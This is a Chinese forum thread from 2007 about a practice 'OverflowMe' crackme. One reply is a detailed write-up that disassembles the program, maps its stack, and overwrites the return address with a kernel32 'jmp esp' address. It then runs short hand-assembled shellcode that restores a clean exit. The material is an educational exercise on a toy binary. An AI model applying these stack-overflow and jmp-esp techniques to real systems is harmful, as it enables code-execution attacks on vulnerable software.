阅读:4522回复:18
嘻嘻,本版第一贴了,放个简单的OverflowMe出来练练手
程序显示“Succeed, you win!”算过去了。
只能利用溢出。 能不出错为佳。 |
|
最新喜欢:silaso... |
沙发#
发布于:2007-02-03 19:24
嘿嘿,我昨天把这个OverflowMe完美搞定了,没有弹出错误提示。
缺点是解决方案不兼容。 |
|
板凳#
发布于:2007-02-04 05:08
几天前,虽然找到了溢出点,而且修改了返回地址,但是程序无法正常退出,导致我一直对这个问题耿耿于怀。
好在灵感终于来了,所以问题也随之搞定。且听我慢慢到来。 ;以下是main函数 00401000 /$ 83EC 08 sub esp,8 00401003 |. 56 push esi 00401004 |. BE 02000000 mov esi,2 00401009 |> 68 54A04000 /push Overflow.0040A054 ; ASCII "please input password:" 0040100E |. E8 EA010000 |call Overflow.004011FD ; call printf 00401013 |. 83C4 04 |add esp,4 00401016 |. 8D4424 04 |lea eax,dword ptr ss:[esp+4] 0040101A |. 50 |push eax 0040101B |. 68 50A04000 |push Overflow.0040A050 ; ASCII "%s" 00401020 |. E8 C1010000 |call Overflow.004011E6 ; call scanf 00401025 |. 83C4 08 |add esp,8 00401028 |. 8D4C24 04 |lea ecx,dword ptr ss:[esp+4] 0040102C |. C64424 0B 00 |mov byte ptr ss:[esp+B],0 00401031 |. 51 |push ecx ; /Arg1 00401032 |. E8 49000000 |call Overflow.00401080 ; \CheckPass 00401037 |. 84C0 |test al,al 00401039 |. 75 28 |jnz short Overflow.00401063 ; if(al != 0) jmp 0040103B |. 68 48A04000 |push Overflow.0040A048 ; ASCII "error" 00401040 |. E8 B8010000 |call Overflow.004011FD ; call printf 00401045 |. 83C4 04 |add esp,4 00401048 |. 8BD6 |mov edx,esi 0040104A |. 4E |dec esi ; i-- 0040104B |. 85D2 |test edx,edx 0040104D |.^ 75 BA \jnz short Overflow.00401009 ; if( i != 0 ) jmp 0040104F |. 68 40A04000 push Overflow.0040A040 ; ASCII "pause" 00401054 |. E8 F7000000 call Overflow.00401150 ; call system 00401059 |. 83C4 04 add esp,4 0040105C |. 33C0 xor eax,eax 0040105E |. 5E pop esi 0040105F |. 83C4 08 add esp,8 00401062 |. C3 retn 00401063 |> E8 98000000 call Overflow.00401100 00401068 |. 68 40A04000 push Overflow.0040A040 ; ASCII "pause" 0040106D |. E8 DE000000 call Overflow.00401150 ; call system 00401072 |. 83C4 04 add esp,4 00401075 |. 33C0 xor eax,eax 00401077 |. 5E pop esi 00401078 |. 83C4 08 add esp,8 0040107B \. C3 retn ;这里是成功提示 004010FF 90 nop 00401100 /$ 68 6CA04000 push Overflow.0040A06C ; ASCII "Succeed, you win!" 00401105 |. E8 F3000000 call Overflow.004011FD ; printf 0040110A |. 59 pop ecx 0040110B \. C3 retn ;--------------------------------------------------------------------------------------------------------- ;在我们没有溢出之前,栈的情况是这个样子: 0012FF70 0040A050 ASCII "%s" 0012FF74 0012FF7C 这里是scanf的参数 0012FF78 FFFFFFFF 0012FF7C 00401590 返回到 Overflow.00401590 来自 Overflow.0040164F 0012FF80 0040A000 Overflow.0040A000 0012FF84 00401390 返回到 Overflow.<ModuleEntryPoint>+0B4 来自 Overflow.00401000 0012FF88 00000001 0012FF8C 00370F30 0012FF90 00370F78 0012FF94 7C910738 ntdll.7C910738 0012FF98 FFFFFFFF 0012FF9C 7FFDD000 0012FFA0 00000006 0012FFA4 F2AD7D04 0012FFA8 0012FF94 0012FFAC 80615CE3 0012FFB0 0012FFE0 指针到下一个 SEH 记录 0012FFB4 00403B44 SE 句柄 几天前,我的解决办法是输入字符溢出到0012FF84这个位置,将其修改为004010FF或者00401063。 这样,当main函数返回的时候将会去到成功提示,而成功提示函数执行完毕后又会返回,所以就造成了错误。 所以想修改一下溢出的方式,希望可以写个shellcode完成栈的修复工作。 这个方法确实是麻烦了一点,但是我实在没想到更好的解决方法了。 我们可以看到,从0012FF7C到0012FF83是我们可以控制的地方,一个有8个字节,本来在这里做修复返回地址的代码是刚刚好了, 但是在 0040102C |. C64424 0B 00 |mov byte ptr ss:[esp+B],0 这里把最后一个字节写了一个'\0',气死我了,就差一个字节。 所以只能想其他的办法,我也想过溢掉SEH地址, 但是很奇怪的是,SEH函数不能被指定在栈地址里,而且动态库里很多地方也不能指定,难道是MS的补丁? 倒是可以指定SEH到代码段里,但是这样就失去了意义,我还是不能修复程序的问题。 最后终于被我想到了一个办法,各位请看: ;--------------------------------------------------------------------------------------------------------- ; 0012FF7C CCCCCCCC 0012FF80 00CCCCCC 0012FF84 7C81518B 返回到 kernel32.7C81518B (jmp esp) 0012FF88 421E3558 0012FF8C FF507CC1 0012FF90 33122454 0012FF94 10FFC3C0 0012FF98 FFFF0040 我输入了8个CC后,在其后输入了一个7C81518B,这个是在kernel32里的地址,其中的代码是jmp esp, 接着我输入了以下代码: 0012FF88 58 pop eax 0012FF89 35 1E42C17C xor eax,7CC1421E 0012FF8E 50 push eax ; 把返回地址修改为 00401393 0012FF8F FF5424 12 call dword ptr ss:[esp+12] ; Overflow.004010FF 0012FF93 33C0 xor eax,eax 0012FF95 C3 retn 0012FF96 FF10 call dword ptr ds:[eax] 0012FF98 40 inc eax 0012FF99 00FF add bh,bh 这样就解决了main的返回问题,程序运行正常,最后没有错误发生,返回值为0。 这种解决方式遗憾的地方就是不能兼容,可能不同版本的系统中kernel库中7C81518B的内容不见得是jmp esp,我的系统是 xp sp2 英文版,大家的7C81518B地址内容可能和我不同,可以自己另外找一个,但是注意地址里不能有00。 而且很多指令的ASC码不能在控制台输入,要花不少时间测试出以上可以输入的指令,还请过路高手指点一二。 |
|
地板#
发布于:2007-06-23 23:57
是啊,溢出问题迟早会解决的。
|
|